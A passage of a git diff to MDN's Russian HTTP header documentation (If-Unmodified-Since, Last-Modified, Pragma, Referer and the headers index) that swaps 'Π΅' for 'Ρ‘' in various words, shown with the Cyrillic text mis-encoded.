-<p>HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса <code><strong>If-Unmodified-Since</strong></code> Π΄Π΅Π»Π°Π΅Ρ‚ запрос условным: сСрвСр ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π΅Π³ΠΎ Π² случаС {{HTTPMethod("POST")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ {{Glossary("safe", "нСбСзопасного")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ Π½Π΅ Π±Ρ‹Π» послСдним ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹. Если запрос Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹, Ρ‚ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p>
+<p>HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса <code><strong>If-Unmodified-Since</strong></code> Π΄Π΅Π»Π°Π΅Ρ‚ запрос условным: сСрвСр ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π΅Π³ΠΎ Π² случаС {{HTTPMethod("POST")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ {{Glossary("safe", "нСбСзопасного")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ Π½Π΅ Π±Ρ‹Π» послСдним ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹. Если запрос Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ послС ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹, Ρ‚ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ {{HTTPStatus("412")}} (Precondition Failed) ошибка.</p>
-<p>БущСствуСт Π΄Π²Π° распространСнных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° использования:</p>
+<p>БущСствуСт Π΄Π²Π° распространённых Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° использования:</p>
<ul>
- <li>Π’ сочСтании с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ {{Glossary("safe", "нСбСзопасными")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ {{HTTPMethod("POST")}}, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сдСланного Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²ΠΈΠΊΠΈ-вСрсиями: выпуски ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΡΡŽΡ‚ΡΡ, Ссли сохранСнный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° восстановлСния ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»Π°.</li>
+ <li>Π’ сочСтании с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ {{Glossary("safe", "нСбСзопасными")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ {{HTTPMethod("POST")}}, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сдСланного Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²ΠΈΠΊΠΈ-вСрсиями: выпуски ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΡΡŽΡ‚ΡΡ, Ссли сохранённый Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° восстановлСния ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»Π°.</li>
</ul>
</div>
diff --git a/files/ru/web/http/headers/index.html b/files/ru/web/http/headers/index.html
index ddb86dab64..7c1de3ac7b 100644
--- a/files/ru/web/http/headers/index.html
+++ b/files/ru/web/http/headers/index.html
@@ -52,11 +52,11 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ
<strong>{{HTTPHeader("WWW-Authenticate")}}</strong><br>
ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для доступа ΠΊ рСсурсу.<br>
<strong>{{HTTPHeader ( "Authorization")}}</strong><br>
- Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ Π½Π° сСрвСрС.<br>
+ Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ Π½Π° сСрвСрС.<br>
<strong>{{HTTPHeader ( "Proxy-Authenticate")}}</strong><br>
ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для доступа ΠΊ рСсурсам на прокси-сСрвСрС.<br>
<strong>{{HTTPHeader ( "Proxy-Authorization")}}</strong><br>
- Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с прокси-сСрвСром.</p>
+ Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π°Π³Π΅Π½Ρ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ с прокси-сСрвСром.</p>
<p>НиТС пСрСчислСны основныС HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ с кратким описаниСм:</p>
@@ -192,7 +192,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ
</tr>
<tr>
<td><code><a href="/ru/docs/Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Connection" title="ru/Connection">Connection</a></code></td>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, остаСтся Π»ΠΈ сСтСвоС соСдинСниС ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ (запроса).</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, остаётся Π»ΠΈ сСтСвоС соСдинСниС ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ (запроса).</td>
<td></td>
<td></td>
</tr>
diff --git a/files/ru/web/http/headers/last-modified/index.html b/files/ru/web/http/headers/last-modified/index.html
index 2c7518129c..05b7486ea6 100644
--- a/files/ru/web/http/headers/last-modified/index.html
+++ b/files/ru/web/http/headers/last-modified/index.html
@@ -11,7 +11,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Last-Modified
---
<div>{{HTTPSidebar}}</div>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <strong><code>Last-Modified</code></strong> Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ HTTP содСрТит Π΄Π°Ρ‚Ρƒ ΠΈ врСмя, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, ΠΏΠΎ мнСнию ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ сСрвСра,Β Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС срСдства ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, остался ли рСсурс Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ. Π­Ρ‚ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΌΠ΅Π½Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ, Ρ‡Π΅ΠΌ {{HTTPHeader("ETag")}}, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ. Условный запрос, содСрТащий Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{HTTPHeader("If-Modified-Since")}} ΠΈΠ»ΠΈ {{HTTPHeader("If-Unmodified-Since")}} позволяСт сСрвСру ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для сравнСния эту Π΄Π°Ρ‚Ρƒ.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <strong><code>Last-Modified</code></strong> Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ HTTP содСрТит Π΄Π°Ρ‚Ρƒ ΠΈ врСмя, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ, ΠΏΠΎ мнСнию ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ сСрвСра,Β Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС срСдства ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, остался ли рСсурс Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ. Π­Ρ‚ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΌΠ΅Π½Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ, Ρ‡Π΅ΠΌ {{HTTPHeader("ETag")}}, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ. Условный запрос, содСрТащий Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{HTTPHeader("If-Modified-Since")}} ΠΈΠ»ΠΈ {{HTTPHeader("If-Unmodified-Since")}} позволяСт сСрвСру ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для сравнСния эту Π΄Π°Ρ‚Ρƒ.</p>
<table class="properties">
<tbody>
diff --git a/files/ru/web/http/headers/pragma/index.html b/files/ru/web/http/headers/pragma/index.html
index 5ee1b0060f..3e6b8a9057 100644
--- a/files/ru/web/http/headers/pragma/index.html
+++ b/files/ru/web/http/headers/pragma/index.html
@@ -9,10 +9,10 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Pragma
---
<div>{{HTTPSidebar}}</div>
-<p>ΠžΠ±Ρ‰ΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <strong><code>Pragma</code></strong> HTTP / 1.0 - это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, зависящий ΠΎΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ эффСкты Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ запрос-ΠΎΡ‚Π²Π΅Ρ‚. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости с кэшами HTTP / 1.0, Π³Π΄Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Cache-Control</code> HTTP / 1.1 Π΅Ρ‰Π΅ Π½Π΅ присутствуСт.</p>
+<p>ΠžΠ±Ρ‰ΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <strong><code>Pragma</code></strong> HTTP / 1.0 - это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, зависящий ΠΎΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ эффСкты Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ запрос-ΠΎΡ‚Π²Π΅Ρ‚. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости с кэшами HTTP / 1.0, Π³Π΄Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Cache-Control</code> HTTP / 1.1 Π΅Ρ‰Ρ‘ Π½Π΅ присутствуСт.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <strong><code>Pragma</code></strong> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Π° для ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² HTTP ΠΈ поэтому Π½Π΅ являСтся Π½Π°Π΄Π΅ΠΆΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° управлСния кэшСм HTTP/1.1, хотя ΠΎΠ½Π° Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ <code>Cache-Control: no-cache</code>, Ссли ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° управлСния кэшСм ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ Π² запросС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>Pragma</code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ HTTP / 1.0.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <strong><code>Pragma</code></strong> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Π° для ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² HTTP ΠΈ поэтому Π½Π΅ являСтся Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° управлСния кэшСм HTTP/1.1, хотя ΠΎΠ½Π° Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ <code>Cache-Control: no-cache</code>, Ссли ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° управлСния кэшСм ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ Π² запросС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>Pragma</code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ HTTP / 1.0.</p>
</div>
<table class="properties">
@@ -67,7 +67,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Pragma
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <strong><code>https://github.com/mdn/browser-compat-data</code></strong> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <strong><code>https://github.com/mdn/browser-compat-data</code></strong> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</p>
<p>{{Compat("http.headers.Pragma")}}</p>
diff --git a/files/ru/web/http/headers/referer/index.html b/files/ru/web/http/headers/referer/index.html
index f227769466..d80a71b11a 100644
--- a/files/ru/web/http/headers/referer/index.html
+++ b/files/ru/web/http/headers/referer/index.html
@@ -10,14 +10,14 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Referer
---
<div>{{HTTPSidebar}}</div>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса <code><strong>Referer</strong></code> содСрТит URL исходной страницы, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» осущСствлСн ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Referer</code> позволяСт сСрвСру ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎΡ‚ΠΊΡƒΠ΄Π° Π±Ρ‹Π» осущСствлСн ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ страницу. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… Π² Π»ΠΎΠ³ΠΈ ΠΈΠ»ΠΈ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса <code><strong>Referer</strong></code> содСрТит URL исходной страницы, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» осущСствлён ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ страницу. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Referer</code> позволяСт сСрвСру ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎΡ‚ΠΊΡƒΠ΄Π° Π±Ρ‹Π» осущСствлён ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ страницу. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… Π² Π»ΠΎΠ³ΠΈ ΠΈΠ»ΠΈ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ слово Β«RefererΒ» Π½Π° самом Π΄Π΅Π»Π΅ являСтся Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ написаниСм слова Β«ReferrerΒ». Π‘ΠΌ. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer Π½Π° Wikipedia")}} .</p>
<div class="warning">
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Referer</code> ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠ± истории посСщСнных страниц, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡŽ приватности.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Referer</code> ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠ± истории посСщённых страниц, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡŽ приватности.</p>
-<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΡΡΡ‹Π»Π°ΠΉΡ‚Π΅ΡΡŒ ΠΈ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π½Π° страницу ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π±Π΅Π· ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, бСзопасности ΠΈ сопряТСнных с этим рисков, Π² Ρ‚ΠΎΠΌ числС Π½Π° страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ содСрТат ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ рискС, Π½ΠΎ связаны с Π½ΠΈΠΌ.</p>
